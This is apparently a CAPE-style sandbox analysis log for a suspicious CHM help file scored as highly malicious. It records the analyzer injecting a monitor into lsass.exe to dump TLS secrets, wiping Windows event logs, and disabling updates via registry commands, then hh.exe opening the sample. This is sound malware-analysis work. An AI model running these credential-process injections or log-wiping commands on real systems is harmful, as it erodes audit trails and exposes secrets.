| Category | Package | Started | Completed | Duration | Options | Log(s) | MalScore |
|---|---|---|---|---|---|---|---|
| FILE | chm | 2025-12-09 15:09:38 | 2025-12-09 15:13:05 | 207 seconds | Show Options | Show Analysis Log | 10.0 |
vnc_port=5902
2025-12-06 09:51:40,437 [root] INFO: Date set to: 20251209T07:09:37, timeout set to: 180
2025-12-09 07:09:37,015 [root] DEBUG: Starting analyzer from: C:\tmpm1ij88hx
2025-12-09 07:09:37,015 [root] DEBUG: Storing results at: C:\STyimYXp
2025-12-09 07:09:37,015 [root] DEBUG: Pipe server name: \\.\PIPE\xMlfvmSYte
2025-12-09 07:09:37,015 [root] DEBUG: Python path: C:\Python38
2025-12-09 07:09:37,015 [root] INFO: analysis running as an admin
2025-12-09 07:09:37,015 [root] INFO: analysis package specified: "chm"
2025-12-09 07:09:37,015 [root] DEBUG: importing analysis package module: "modules.packages.chm"...
2025-12-09 07:09:37,015 [root] DEBUG: imported analysis package "chm"
2025-12-09 07:09:37,015 [root] DEBUG: initializing analysis package "chm"...
2025-12-09 07:09:37,015 [lib.common.common] INFO: wrapping
2025-12-09 07:09:37,015 [lib.core.compound] INFO: C:\Users\user\AppData\Local\Temp already exists, skipping creation
2025-12-09 07:09:37,015 [root] DEBUG: New location of moved file: C:\Users\user\AppData\Local\Temp\5f11baf452c0d7cbb25c.chm
2025-12-09 07:09:37,015 [root] INFO: Analyzer: Package modules.packages.chm does not specify a DLL option
2025-12-09 07:09:37,015 [root] INFO: Analyzer: Package modules.packages.chm does not specify a DLL_64 option
2025-12-09 07:09:37,015 [root] INFO: Analyzer: Package modules.packages.chm does not specify a loader option
2025-12-09 07:09:37,015 [root] INFO: Analyzer: Package modules.packages.chm does not specify a loader_64 option
2025-12-09 07:09:37,062 [root] DEBUG: Imported auxiliary module "modules.auxiliary.browser"
2025-12-09 07:09:37,062 [root] DEBUG: Imported auxiliary module "modules.auxiliary.curtain"
2025-12-09 07:09:37,062 [root] DEBUG: Imported auxiliary module "modules.auxiliary.disguise"
2025-12-09 07:09:37,062 [root] DEBUG: Imported auxiliary module "modules.auxiliary.during_script"
2025-12-09 07:09:37,062 [root] DEBUG: Imported auxiliary module "modules.auxiliary.end_noisy_tasks"
2025-12-09 07:09:37,078 [root] DEBUG: Imported auxiliary module "modules.auxiliary.evtx"
2025-12-09 07:09:37,078 [root] DEBUG: Imported auxiliary module "modules.auxiliary.human"
2025-12-09 07:09:37,078 [root] DEBUG: Imported auxiliary module "modules.auxiliary.pre_script"
2025-12-09 07:09:37,078 [lib.api.screenshot] DEBUG: Importing 'PIL.ImageChops'
2025-12-09 07:09:37,171 [lib.api.screenshot] DEBUG: Importing 'PIL.ImageGrab'
2025-12-09 07:09:37,171 [lib.api.screenshot] DEBUG: Importing 'PIL.ImageDraw'
2025-12-09 07:09:37,187 [root] DEBUG: Imported auxiliary module "modules.auxiliary.screenshots"
2025-12-09 07:09:37,187 [root] DEBUG: Imported auxiliary module "modules.auxiliary.sysmon"
2025-12-09 07:09:37,187 [root] DEBUG: Imported auxiliary module "modules.auxiliary.tlsdump"
2025-12-09 07:09:37,187 [root] DEBUG: Imported auxiliary module "modules.auxiliary.usage"
2025-12-09 07:09:37,187 [root] DEBUG: Initialized auxiliary module "Browser"
2025-12-09 07:09:37,187 [root] DEBUG: attempting to configure 'Browser' from data
2025-12-09 07:09:37,187 [root] DEBUG: module Browser does not support data configuration, ignoring
2025-12-09 07:09:37,187 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.browser"...
2025-12-09 07:09:37,187 [root] DEBUG: Started auxiliary module modules.auxiliary.browser
2025-12-09 07:09:37,187 [root] DEBUG: Initialized auxiliary module "Curtain"
2025-12-09 07:09:37,187 [root] DEBUG: attempting to configure 'Curtain' from data
2025-12-09 07:09:37,187 [root] DEBUG: module Curtain does not support data configuration, ignoring
2025-12-09 07:09:37,187 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.curtain"...
2025-12-09 07:09:37,187 [root] DEBUG: Started auxiliary module modules.auxiliary.curtain
2025-12-09 07:09:37,187 [root] DEBUG: Initialized auxiliary module "Disguise"
2025-12-09 07:09:37,187 [root] DEBUG: attempting to configure 'Disguise' from data
2025-12-09 07:09:37,187 [root] DEBUG: module Disguise does not support data configuration, ignoring
2025-12-09 07:09:37,187 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.disguise"...
2025-12-09 07:09:37,203 [modules.auxiliary.disguise] INFO: Disguising GUID to cb7fa585-a71f-4130-9183-e91060cd553f
2025-12-09 07:09:37,203 [root] DEBUG: Started auxiliary module modules.auxiliary.disguise
2025-12-09 07:09:37,203 [root] DEBUG: Initialized auxiliary module "End_noisy_tasks"
2025-12-09 07:09:37,203 [root] DEBUG: attempting to configure 'End_noisy_tasks' from data
2025-12-09 07:09:37,203 [root] DEBUG: module End_noisy_tasks does not support data configuration, ignoring
2025-12-09 07:09:37,203 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.end_noisy_tasks"...
2025-12-09 07:09:37,203 [modules.auxiliary.end_noisy_tasks] DEBUG: taskkill /f /IM wuauclt.exe
2025-12-09 07:09:37,203 [root] DEBUG: Started auxiliary module modules.auxiliary.end_noisy_tasks
2025-12-09 07:09:37,203 [root] DEBUG: Initialized auxiliary module "Evtx"
2025-12-09 07:09:37,203 [root] DEBUG: attempting to configure 'Evtx' from data
2025-12-09 07:09:37,203 [root] DEBUG: module Evtx does not support data configuration, ignoring
2025-12-09 07:09:37,203 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.evtx"...
2025-12-09 07:09:37,203 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Security State Change" /success:enable /failure:enable
2025-12-09 07:09:37,203 [root] DEBUG: Started auxiliary module modules.auxiliary.evtx
2025-12-09 07:09:37,203 [root] DEBUG: Initialized auxiliary module "Human"
2025-12-09 07:09:37,203 [root] DEBUG: attempting to configure 'Human' from data
2025-12-09 07:09:37,203 [root] DEBUG: module Human does not support data configuration, ignoring
2025-12-09 07:09:37,203 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.human"...
2025-12-09 07:09:37,203 [root] DEBUG: Started auxiliary module modules.auxiliary.human
2025-12-09 07:09:37,203 [root] DEBUG: Initialized auxiliary module "Pre_script"
2025-12-09 07:09:37,203 [root] DEBUG: attempting to configure 'Pre_script' from data
2025-12-09 07:09:37,203 [root] DEBUG: module Pre_script does not support data configuration, ignoring
2025-12-09 07:09:37,203 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.pre_script"...
2025-12-09 07:09:37,203 [root] DEBUG: Started auxiliary module modules.auxiliary.pre_script
2025-12-09 07:09:37,203 [root] DEBUG: Initialized auxiliary module "Screenshots"
2025-12-09 07:09:37,203 [root] DEBUG: attempting to configure 'Screenshots' from data
2025-12-09 07:09:37,203 [root] DEBUG: module Screenshots does not support data configuration, ignoring
2025-12-09 07:09:37,203 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.screenshots"...
2025-12-09 07:09:37,218 [root] DEBUG: Started auxiliary module modules.auxiliary.screenshots
2025-12-09 07:09:37,218 [root] DEBUG: Initialized auxiliary module "Sysmon"
2025-12-09 07:09:37,218 [root] DEBUG: attempting to configure 'Sysmon' from data
2025-12-09 07:09:37,218 [root] DEBUG: module Sysmon does not support data configuration, ignoring
2025-12-09 07:09:37,218 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.sysmon"...
2025-12-09 07:09:37,281 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Security System Extension" /success:enable /failure:enable
2025-12-09 07:09:37,328 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"System Integrity" /success:enable /failure:enable
2025-12-09 07:09:37,328 [root] WARNING: Cannot execute auxiliary module modules.auxiliary.sysmon: In order to use the Sysmon functionality, it is required to have the SMaster(64|32).exe file and sysmonconfig-export.xml file in the bin path. Note that the SMaster(64|32).exe files are just the standard Sysmon binaries renamed to avoid anti-analysis detection techniques.
2025-12-09 07:09:37,328 [root] DEBUG: Initialized auxiliary module "TLSDumpMasterSecrets"
2025-12-09 07:09:37,328 [root] DEBUG: attempting to configure 'TLSDumpMasterSecrets' from data
2025-12-09 07:09:37,328 [root] DEBUG: module TLSDumpMasterSecrets does not support data configuration, ignoring
2025-12-09 07:09:37,328 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.tlsdump"...
2025-12-09 07:09:37,328 [modules.auxiliary.tlsdump] INFO: lsass.exe found, pid 448
2025-12-09 07:09:37,328 [lib.api.process] INFO: Monitor config for <Process 448 lsass.exe>: C:\tmpm1ij88hx\dll\448.ini
2025-12-09 07:09:37,343 [lib.api.process] INFO: Option 'tlsdump' with value '1' sent to monitor
2025-12-09 07:09:37,343 [lib.api.process] INFO: 64-bit DLL to inject is C:\tmpm1ij88hx\dll\tLhPYBFm.dll, loader C:\tmpm1ij88hx\bin\yaKgHGUf.exe
2025-12-09 07:09:37,359 [root] DEBUG: Loader: Injecting process 448 with C:\tmpm1ij88hx\dll\tLhPYBFm.dll.
2025-12-09 07:09:37,375 [root] DEBUG: 448: Python path set to 'C:\Python38'.
2025-12-09 07:09:37,375 [root] INFO: Disabling sleep skipping.
2025-12-09 07:09:37,375 [root] DEBUG: 448: TLS secret dump mode enabled.
2025-12-09 07:09:37,375 [root] DEBUG: 448: Monitor initialised: 64-bit capemon loaded in process 448 at 0x000007FEF30B0000, thread 2600, image base 0x00000000FF3B0000, stack from 0x00000000018C4000-0x00000000018D0000
2025-12-09 07:09:37,390 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"IPsec Driver" /success:disable /failure:disable
2025-12-09 07:09:37,390 [root] DEBUG: 448: Commandline: C:\Windows\system32\lsass.exe
2025-12-09 07:09:37,390 [root] DEBUG: 448: Hooked 5 out of 5 functions
2025-12-09 07:09:37,390 [root] DEBUG: InjectDllViaThread: Successfully injected Dll into process via RtlCreateUserThread.
2025-12-09 07:09:37,390 [root] DEBUG: Successfully injected DLL C:\tmpm1ij88hx\dll\tLhPYBFm.dll.
2025-12-09 07:09:37,390 [lib.api.process] INFO: Injected into 64-bit <Process 448 lsass.exe>
2025-12-09 07:09:37,390 [root] DEBUG: Started auxiliary module modules.auxiliary.tlsdump
2025-12-09 07:09:37,390 [root] DEBUG: Initialized auxiliary module "Usage"
2025-12-09 07:09:37,390 [root] DEBUG: attempting to configure 'Usage' from data
2025-12-09 07:09:37,390 [root] DEBUG: module Usage does not support data configuration, ignoring
2025-12-09 07:09:37,390 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.usage"...
2025-12-09 07:09:37,406 [root] DEBUG: Started auxiliary module modules.auxiliary.usage
2025-12-09 07:09:37,406 [root] DEBUG: Initialized auxiliary module "During_script"
2025-12-09 07:09:37,406 [root] DEBUG: attempting to configure 'During_script' from data
2025-12-09 07:09:37,406 [root] DEBUG: module During_script does not support data configuration, ignoring
2025-12-09 07:09:37,406 [root] DEBUG: Trying to start auxiliary module "modules.auxiliary.during_script"...
2025-12-09 07:09:37,406 [root] DEBUG: Started auxiliary module modules.auxiliary.during_script
2025-12-09 07:09:37,421 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Other System Events" /success:disable /failure:enable
2025-12-09 07:09:37,453 [modules.auxiliary.end_noisy_tasks] DEBUG: taskkill /f /IM wusa.exe
2025-12-09 07:09:37,468 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Logon" /success:enable /failure:enable
2025-12-09 07:09:37,500 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Logoff" /success:enable /failure:enable
2025-12-09 07:09:37,531 [modules.auxiliary.end_noisy_tasks] DEBUG: taskkill /f /IM WindowsUpdate.exe
2025-12-09 07:09:37,546 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Account Lockout" /success:enable /failure:enable
2025-12-09 07:09:37,578 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"IPsec Main Mode" /success:disable /failure:disable
2025-12-09 07:09:37,593 [modules.auxiliary.end_noisy_tasks] DEBUG: taskkill /f /IM GoogleUpdate.exe
2025-12-09 07:09:37,625 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"IPsec Quick Mode" /success:disable /failure:disable
2025-12-09 07:09:37,656 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"IPsec Extended Mode" /success:disable /failure:disable
2025-12-09 07:09:37,656 [modules.auxiliary.end_noisy_tasks] DEBUG: taskkill /f /IM MicrosoftEdgeUpdate.exe
2025-12-09 07:09:37,703 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Other Logon/Logoff Events" /success:enable /failure:enable
2025-12-09 07:09:37,734 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Network Policy Server" /success:enable /failure:enable
2025-12-09 07:09:37,750 [modules.auxiliary.end_noisy_tasks] DEBUG: Command executed with exit code 0: reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f
2025-12-09 07:09:37,750 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Special Logon" /success:enable /failure:enable
2025-12-09 07:09:37,781 [modules.auxiliary.end_noisy_tasks] DEBUG: Command executed with exit code 0: reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DataCollection" /v AllowTelemetry /t REG_DWORD /d 0 /f
2025-12-09 07:09:37,781 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"File System" /success:enable /failure:enable
2025-12-09 07:09:37,796 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Registry" /success:enable /failure:enable
2025-12-09 07:09:37,796 [modules.auxiliary.end_noisy_tasks] DEBUG: Command executed with exit code 0: reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" /v EnableICMPRedirect /t REG_DWORD /d 0 /f
2025-12-09 07:09:37,812 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Kernel Object" /success:enable /failure:enable
2025-12-09 07:09:37,828 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"SAM" /success:disable /failure:disable
2025-12-09 07:09:37,843 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Certification Services" /success:enable /failure:enable
2025-12-09 07:09:37,859 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Handle Manipulation" /success:disable /failure:disable
2025-12-09 07:09:37,875 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Application Generated" /success:enable /failure:enable
2025-12-09 07:09:37,890 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"File Share" /success:enable /failure:enable
2025-12-09 07:09:37,906 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Filtering Platform Packet Drop" /success:disable /failure:disable
2025-12-09 07:09:37,921 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Filtering Platform Connection" /success:disable /failure:disable
2025-12-09 07:09:37,937 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Other Object Access Events" /success:disable /failure:disable
2025-12-09 07:09:37,953 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Sensitive Privilege Use" /success:disable /failure:disable
2025-12-09 07:09:37,968 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Non Sensitive Privilege Use" /success:disable /failure:disable
2025-12-09 07:09:37,984 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Other Privilege Use Events" /success:disable /failure:disable
2025-12-09 07:09:38,000 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"RPC Events" /success:enable /failure:enable
2025-12-09 07:09:38,015 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Audit Policy Change" /success:enable /failure:enable
2025-12-09 07:09:38,031 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Authentication Policy Change" /success:enable /failure:enable
2025-12-09 07:09:38,046 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"MPSSVC Rule-Level Policy Change" /success:disable /failure:disable
2025-12-09 07:09:38,062 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Filtering Platform Policy Change" /success:disable /failure:disable
2025-12-09 07:09:38,078 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Other Policy Change Events" /success:disable /failure:enable
2025-12-09 07:09:38,093 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"User Account Management" /success:enable /failure:enable
2025-12-09 07:09:38,109 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Computer Account Management" /success:enable /failure:enable
2025-12-09 07:09:38,125 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Security Group Management" /success:enable /failure:enable
2025-12-09 07:09:38,140 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Distribution Group Management" /success:enable /failure:enable
2025-12-09 07:09:38,156 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Application Group Management" /success:enable /failure:enable
2025-12-09 07:09:38,171 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Other Account Management Events" /success:enable /failure:enable
2025-12-09 07:09:38,187 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Directory Service Access" /success:enable /failure:enable
2025-12-09 07:09:38,203 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Directory Service Changes" /success:enable /failure:enable
2025-12-09 07:09:38,218 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Directory Service Replication" /success:disable /failure:enable
2025-12-09 07:09:38,234 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Detailed Directory Service Replication" /success:disable /failure:disable
2025-12-09 07:09:38,249 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Credential Validation" /success:enable /failure:enable
2025-12-09 07:09:38,249 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable
2025-12-09 07:09:38,265 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Other Account Logon Events" /success:enable /failure:enable
2025-12-09 07:09:38,281 [modules.auxiliary.evtx] DEBUG: Enabling advanced logging -> auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable
2025-12-09 07:09:38,296 [modules.auxiliary.evtx] DEBUG: Wiping Application
2025-12-09 07:09:38,312 [modules.auxiliary.evtx] DEBUG: Wiping HardwareEvents
2025-12-09 07:09:38,328 [modules.auxiliary.evtx] DEBUG: Wiping Internet Explorer
2025-12-09 07:09:38,343 [modules.auxiliary.evtx] DEBUG: Wiping Key Management Service
2025-12-09 07:09:38,359 [modules.auxiliary.evtx] DEBUG: Wiping OAlerts
2025-12-09 07:09:38,375 [modules.auxiliary.evtx] DEBUG: Wiping Security
2025-12-09 07:09:38,406 [modules.auxiliary.evtx] DEBUG: Wiping Setup
2025-12-09 07:09:38,421 [modules.auxiliary.evtx] DEBUG: Wiping System
2025-12-09 07:09:38,437 [modules.auxiliary.evtx] DEBUG: Wiping Windows PowerShell
2025-12-09 07:09:38,453 [modules.auxiliary.evtx] DEBUG: Wiping Microsoft-Windows-Sysmon/Operational
2025-12-09 07:09:42,484 [root] INFO: Restarting WMI Service
2025-12-09 07:09:44,515 [root] DEBUG: package modules.packages.chm does not support configure, ignoring
2025-12-09 07:09:44,515 [root] WARNING: configuration error for package modules.packages.chm: error importing data.packages.chm: No module named 'data.packages'
2025-12-09 07:09:44,515 [lib.core.compound] INFO: C:\Users\user\AppData\Local\Temp already exists, skipping creation
2025-12-09 07:09:44,515 [lib.api.process] INFO: Successfully executed process from path "C:\Windows\hh.exe" with arguments ""C:\Users\user\AppData\Local\Temp\5f11baf452c0d7cbb25c.chm"" with pid 2492
2025-12-09 07:09:44,515 [lib.api.process] INFO: Monitor config for <Process 2492 hh.exe>: C:\tmpm1ij88hx\dll\2492.ini
2025-12-09 07:09:44,515 [lib.api.process] INFO: 64-bit DLL to inject is C:\tmpm1ij88hx\dll\tLhPYBFm.dll, loader C:\tmpm1ij88hx\bin\yaKgHGUf.exe
2025-12-09 07:09:44,515 [root] DEBUG: Loader: Injecting process 2492 (thread 2460) with C:\tmpm1ij88hx\dll\tLhPYBFm.dll.
2025-12-09 07:09:44,515 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2025-12-09 07:09:44,515 [root] DEBUG: Successfully injected DLL C:\tmpm1ij88hx\dll\tLhPYBFm.dll.
2025-12-09 07:09:44,515 [lib.api.process] INFO: Injected into 64-bit <Process 2492 hh.exe>
2025-12-09 07:09:46,515 [lib.api.process] INFO: Successfully resumed <Process 2492 hh.exe>
2025-12-09 07:09:46,515 [root] DEBUG: 2492: Python path set to 'C:\Python38'.
2025-12-09 07:09:46,515 [root] INFO: Disabling sleep skipping.
2025-12-09 07:09:46,515 [root] DEBUG: 2492: Dropped file limit defaulting to 100.
2025-12-09 07:09:46,515 [root] DEBUG: 2492: YaraInit: Compiled 41 rule files
2025-12-09 07:09:46,515 [root] DEBUG: 2492: YaraInit: Compiled rules saved to file C:\tmpm1ij88hx\data\yara\capemon.yac
2025-12-09 07:09:46,515 [root] DEBUG: 2492: YaraScan: Scanning 0x00000000FFBF0000, size 0x7012
2025-12-09 07:09:46,515 [root] DEBUG: 2492: Monitor initialised: 64-bit capemon loaded in process 2492 at 0x000007FEF30B0000, thread 2460, image base 0x00000000FFBF0000, stack from 0x0000000000265000-0x0000000000270000
2025-12-09 07:09:46,515 [root] DEBUG: 2492: Commandline: "C:\Windows\hh.exe" "C:\Users\user\AppData\Local\Temp\5f11baf452c0d7cbb25c.chm"
2025-12-09 07:09:46,515 [root] DEBUG: 2492: GetAddressByYara: ModuleBase 0x0000000077760000 FunctionName LdrpCallInitRoutine
2025-12-09 07:09:46,531 [root] WARNING: b'Unable to place hook on LockResource'
2025-12-09 07:09:46,531 [root] DEBUG: 2492: set_hooks: Unable to hook LockResource
2025-12-09 07:09:46,531 [root] DEBUG: 2492: Hooked 605 out of 606 functions
2025-12-09 07:09:46,546 [root] INFO: Loaded monitor into process with pid 2492
2025-12-09 07:09:46,546 [root] DEBUG: 2492: caller_dispatch: Added region at 0x00000000FFBF0000 to tracked regions list (kernel32::GetSystemTimeAsFileTime returns to 0x00000000FFBF1FED, thread 2460).
2025-12-09 07:09:46,546 [root] DEBUG: 2492: YaraScan: Scanning 0x00000000FFBF0000, size 0x7012
2025-12-09 07:09:46,546 [root] DEBUG: 2492: ProcessImageBase: Main module image at 0x00000000FFBF0000 unmodified (entropy change 0.000000e+00)
2025-12-09 07:09:46,546 [root] DEBUG: 2492: DLL loaded at 0x000007FEF7120000: C:\Windows\System32\hhctrl.ocx (0xb1000 bytes).
2025-12-09 07:09:46,546 [root] DEBUG: 2492: DLL loaded at 0x000007FEFECB0000: C:\Windows\system32\SHELL32 (0xd8b000 bytes).
2025-12-09 07:09:46,546 [root] DEBUG: 2492: DLL loaded at 0x000007FEFA740000: C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\COMCTL32 (0xa0000 bytes).
2025-12-09 07:09:46,546 [root] DEBUG: 2492: DLL loaded at 0x000007FEFEB70000: C:\Windows\system32\OLEAUT32 (0xdb000 bytes).
2025-12-09 07:09:46,562 [root] DEBUG: 2492: DLL loaded at 0x000007FEFD110000: C:\Windows\system32\CRYPTBASE (0xf000 bytes).
2025-12-09 07:09:46,562 [root] DEBUG: 2492: DLL loaded at 0x000007FEFB9F0000: C:\Windows\system32\uxtheme (0x56000 bytes).
2025-12-09 07:09:46,562 [root] DEBUG: 2492: DLL loaded at 0x000007FEFD2B0000: C:\Windows\system32\profapi (0xf000 bytes).
2025-12-09 07:09:46,562 [root] DEBUG: 2492: DLL loaded at 0x000007FEFB120000: C:\Windows\system32\ntmarta (0x2d000 bytes).
2025-12-09 07:09:46,562 [root] DEBUG: 2492: DLL loaded at 0x000007FEFE460000: C:\Windows\system32\WLDAP32 (0x52000 bytes).
2025-12-09 07:09:46,562 [root] DEBUG: 2492: DLL loaded at 0x000007FEFE7F0000: C:\Windows\system32\CLBCatQ (0x99000 bytes).
2025-12-09 07:09:46,562 [root] DEBUG: 2492: DLL loaded at 0x000007FEFB260000: C:\Windows\System32\itss (0x2d000 bytes).
2025-12-09 07:09:46,578 [root] DEBUG: 2492: DLL loaded at 0x000007FEFE660000: C:\Windows\system32\urlmon (0x18a000 bytes).
2025-12-09 07:09:46,578 [root] DEBUG: 2492: DLL loaded at 0x000007FEFD330000: C:\Windows\system32\api-ms-win-downlevel-ole32-l1-1-0 (0x4000 bytes).
2025-12-09 07:09:46,578 [root] DEBUG: 2492: DLL loaded at 0x000007FEFD2E0000: C:\Windows\system32\api-ms-win-downlevel-shlwapi-l1-1-0 (0x4000 bytes).
2025-12-09 07:09:46,578 [root] DEBUG: 2492: DLL loaded at 0x000007FEFD360000: C:\Windows\system32\api-ms-win-downlevel-advapi32-l1-1-0 (0x5000 bytes).
2025-12-09 07:09:46,578 [root] DEBUG: 2492: DLL loaded at 0x000007FEFD650000: C:\Windows\system32\api-ms-win-downlevel-user32-l1-1-0 (0x4000 bytes).
2025-12-09 07:09:46,578 [root] DEBUG: 2492: DLL loaded at 0x000007FEFD660000: C:\Windows\system32\api-ms-win-downlevel-version-l1-1-0 (0x4000 bytes).
2025-12-09 07:09:46,578 [root] DEBUG: 2492: DLL loaded at 0x000007FEFC390000: C:\Windows\system32\version (0xc000 bytes).
2025-12-09 07:09:46,578 [root] DEBUG: 2492: DLL loaded at 0x000007FEFD2D0000: C:\Windows\system32\api-ms-win-downlevel-normaliz-l1-1-0 (0x3000 bytes).
2025-12-09 07:09:46,578 [root] DEBUG: 2492: DLL loaded at 0x0000000077900000: C:\Windows\system32\normaliz (0x3000 bytes).
2025-12-09 07:09:46,593 [root] DEBUG: 2492: DLL loaded at 0x000007FEFE190000: C:\Windows\system32\iertutil (0x2cc000 bytes).
2025-12-09 07:09:46,609 [root] DEBUG: 2492: DLL loaded at 0x000007FEFDC70000: C:\Windows\system32\WININET (0x4ac000 bytes).
2025-12-09 07:09:46,609 [root] DEBUG: 2492: DLL loaded at 0x000007FEFD410000: C:\Windows\system32\USERENV (0x1f000 bytes).
2025-12-09 07:09:46,640 [root] INFO: Added new file to list with pid None and path C:\Users\user\AppData\Roaming\Microsoft\HTML Help\hh.dat
2025-12-09 07:09:46,640 [root] DEBUG: 2492: DLL loaded at 0x000007FEFB4D0000: C:\Windows\system32\dwmapi (0x18000 bytes).
2025-12-09 07:09:46,640 [root] DEBUG: 2492: DLL loaded at 0x000007FEFCA50000: C:\Windows\system32\CRYPTSP (0x18000 bytes).
2025-12-09 07:09:46,656 [root] DEBUG: 2492: DLL loaded at 0x000007FEFC750000: C:\Windows\system32\rsaenh (0x47000 bytes).
2025-12-09 07:09:46,656 [root] DEBUG: 2492: DLL loaded at 0x000007FEF1D20000: C:\Windows\System32\ieframe (0xec2000 bytes).
2025-12-09 07:09:46,656 [root] DEBUG: 2492: DLL loaded at 0x000007FEF3CE0000: C:\Windows\System32\api-ms-win-downlevel-shell32-l1-1-0 (0x4000 bytes).
2025-12-09 07:09:46,656 [root] DEBUG: 2492: DLL loaded at 0x000007FEF85C0000: C:\Windows\System32\WINHTTP (0x71000 bytes).
2025-12-09 07:09:46,656 [root] DEBUG: 2492: DLL loaded at 0x000007FEF8550000: C:\Windows\System32\webio (0x65000 bytes).
2025-12-09 07:09:46,671 [root] DEBUG: 2492: DLL loaded at 0x000007FEFBCD0000: C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.24483_none_e372d88f30fbb845\comctl32 (0x1f5000 bytes).
2025-12-09 07:09:46,671 [root] DEBUG: 2492: DLL loaded at 0x000007FEF3460000: C:\Windows\system32\api-ms-win-downlevel-shlwapi-l2-1-0 (0x4000 bytes).
2025-12-09 07:09:46,671 [root] DEBUG: 2492: DLL loaded at 0x000007FEF9A20000: C:\Windows\system32\api-ms-win-downlevel-advapi32-l2-1-0 (0x4000 bytes).
2025-12-09 07:09:46,671 [root] DEBUG: 2492: DLL loaded at 0x000007FEFD120000: C:\Windows\system32\SXS (0x91000 bytes).
2025-12-09 07:09:46,703 [root] DEBUG: 2492: DLL loaded at 0x000007FEFD0B0000: C:\Windows\system32\apphelp (0x57000 bytes).
2025-12-09 07:09:46,703 [root] DEBUG: 2492: DLL loaded at 0x000007FEFCEC0000: C:\Windows\system32\Secur32 (0xb000 bytes).
